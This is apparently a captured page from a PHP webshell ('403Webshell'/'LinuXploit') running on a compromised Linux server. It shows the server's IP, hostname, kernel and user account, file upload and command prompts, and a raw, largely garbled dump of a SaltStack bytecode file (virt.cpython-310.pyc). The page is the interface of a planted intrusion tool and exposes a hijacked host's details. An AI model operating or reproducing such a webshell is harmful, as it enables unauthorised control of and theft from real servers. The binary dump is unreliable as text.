403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/__pycache__/virt.cpython-310.pyc
o

;j5
�@sxdZddlZddlZddlZddlZddlZddlZddlZddlZ	ddl
Z	e�e�Z
dd�Zdd�ZGdd�d�ZdS)	z:
This module contains routines shared by the virt system.
�Nc
Cs�zet�t�d����}tj�|�j�	d�d}tj�
||�d|���}tjj
�|d��0}tj�|��}|�|���Wd�n1sDwYWd�|WSWd�|WS1s^wY|WStys}z|�d}~ww)z�
    Attempts to download a file specified by 'url'

    :param url: The full remote path of the file which should be downloaded.
    :param dir: The path the file should be downloaded to.
    � �/����-�wbN)�hashlib�md5�os�urandom�	hexdigest�urllib�parse�urlparse�path�split�join�salt�utils�files�fopen�request�urlopen�writeZrease�	Exception)�url�dirZrandZremote_filenameZfull_directory�file�response�err�r�C/opt/saltstack/salt/lib/python3.10/site-packages/salt/utils/virt.py�download_remotes*��(�����r!cCs&t�d�}|�tj�|�j�rdSdS)z�
    Checks to see if the path provided contains ftp, http, or https. Returns
    the full path if it is found.

    :param cmdline_path: The path to the initrd image or the kernel
    z
^(ht|f)tps?\bTF)�re�compile�matchrr
r�scheme)Zcmdline_pathZregexrrr �check_remote,s
r&c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�VirtKeyz.
    Used to manage key signing requests.
    cCsV||_||_||_tjj�|jdd|�}tj�	|�s t�
|�tjj�||�|_dS)N�pki_dirZvirtkeys)�opts�hyper�idrr�verify�
clean_joinr	r�isdir�makedirs)�selfr*Zid_r)rrrr �__init__@s
zVirtKey.__init__cCsz!tjj�|jd��}t|���}Wd�n1swYWn#ty4t�	d|j
|j�YdStyDt�	d|j�YdSwt
�
�|dkrXt�d|j
|j�dStjj�|jdd	|j
�}tjj�|d
��
}|�|�Wd�n1s}wY|��dS)z)
        Accept the provided key
        �rNzJRequest to sign key for minion '%s' on hyper '%s' denied: no authorizationFzInvalid expiry data in %siXzORequest to sign key for minion "%s" on hyper "%s" denied: authorization expiredr(Zminions�w+T)rrrrr�int�read�OSError�log�errorr+r*�
ValueError�time�warningr,r-r)r�void)r0Zpub�fp_ZexpiryZpubfnrrr �acceptIs:������zVirtKey.acceptcCsNtjj�|jd��}|�ttt�����Wd�dS1s wYdS)z@
        Prepare the master to expect a signing request
        r3NT)	rrrrrr�strr4r:)r0r=rrr �	authorizems
��zVirtKey.authorizecCs(z	t�|j�WdStyYdSw)z7
        Invalidate any existing authorization
        TF)r	�unlinkrr6)r0rrr r<us�zVirtKey.voidN)�__name__�
__module__�__qualname__�__doc__r1r>r@r<rrrr r';s	$r')rEr�loggingr	r"r:r�urllib.parseZsalt.utils.filesrZsalt.utils.verify�	getLoggerrBr7r!r&r'rrrr �<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit